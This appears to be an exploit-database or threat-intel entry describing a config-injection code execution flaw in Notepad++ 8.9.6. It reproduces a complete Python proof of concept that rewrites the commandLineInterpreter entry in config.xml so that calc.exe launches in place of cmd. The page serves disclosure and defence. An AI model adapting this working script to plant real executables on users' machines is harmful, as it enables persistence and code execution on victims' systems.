Notepad++ version 8. 9. 6 and earlier contains a vulnerability where the application reads the <GUIConfig name="commandLineInterpreter"> value from its config. xml file without validation. This value is passed to ShellExecute when the user triggers the "Open Containing Folder in cmd" feature. An attacker with write access to the %APPDATA%\Notepad++\ directory can modify this configuration to inject an arbitrary executable path, resulting in code execution with the current user's privileges. Exploit code in Python demonstrates this by injecting a payload that launches calc. exe instead of the command prompt.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: Notepad++ 8.9.6 - Arbitrary Code Execution # Date: 2026-05-30 # Exploit Author: Kavin Jindal (Avyukt Security) https://www.linkedin.com/in/kavin-jindal/ # Vendor Homepage: https://notepad-plus-plus.org # Software Link: https://notepad-plus-plus.org/downloads/v8.9.6/ # Version: <= 8.9.6 # Tested on: Windows 10/11 # CVE: CVE-2026-48778 # Reference: https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-7hm3-wp5q-ccv9 # # Description: # Notepad++ reads <GUIConfig name="commandLineInterpreter"> from config.xml without # validation and passes it to ShellExecute when "Open Containing Folder in cmd" is # triggered. An attacker with write access to %APPDATA%\Notepad++\ can inject an # arbitrary executable path, resulting in code execution under the current user context. # In the following script, `calc.exe` has been used to demonstrate this vulnerability. import os, sys appdata = os.environ["APPDATA"] if not appdata: print("[!] APPDATA environment variable not found, exiting..") sys.exit() config_path = os.path.join(appdata, "Notepad++", "config.xml") existing = os.path.exists(config_path) if existing==True: print("[+] Found config.xml at ", config_path) else: print("config.xml not found. Ensure Notepad++ is installed and has been launched atleast once.") x = open(config_path, 'r') s = x.readlines() payload='<GUIConfig name="commandLineInterpreter">calc.exe</GUIConfig>\n' injected=False for num,i in enumerate(s, start=0): if '<GUIConfig name="commandLineInterpreter">' in i: print("[!] Injecting payload..") s[num]=payload injected=True break elif "</GUIConfigs>" in i: print("[!] Injecting payload..") s.insert(num, payload) injected=True break if not injected: print("[!] Payload injection failed.") sys.exit(1) y = open(config_path, 'w') y.writelines(s) print("[+] Payload injected successfully!") print("[+] Testing: Open Notepad++ > File > Open Containing Folder > cmd") print("[+] Calc.exe will launch instead of cmd.") print("end")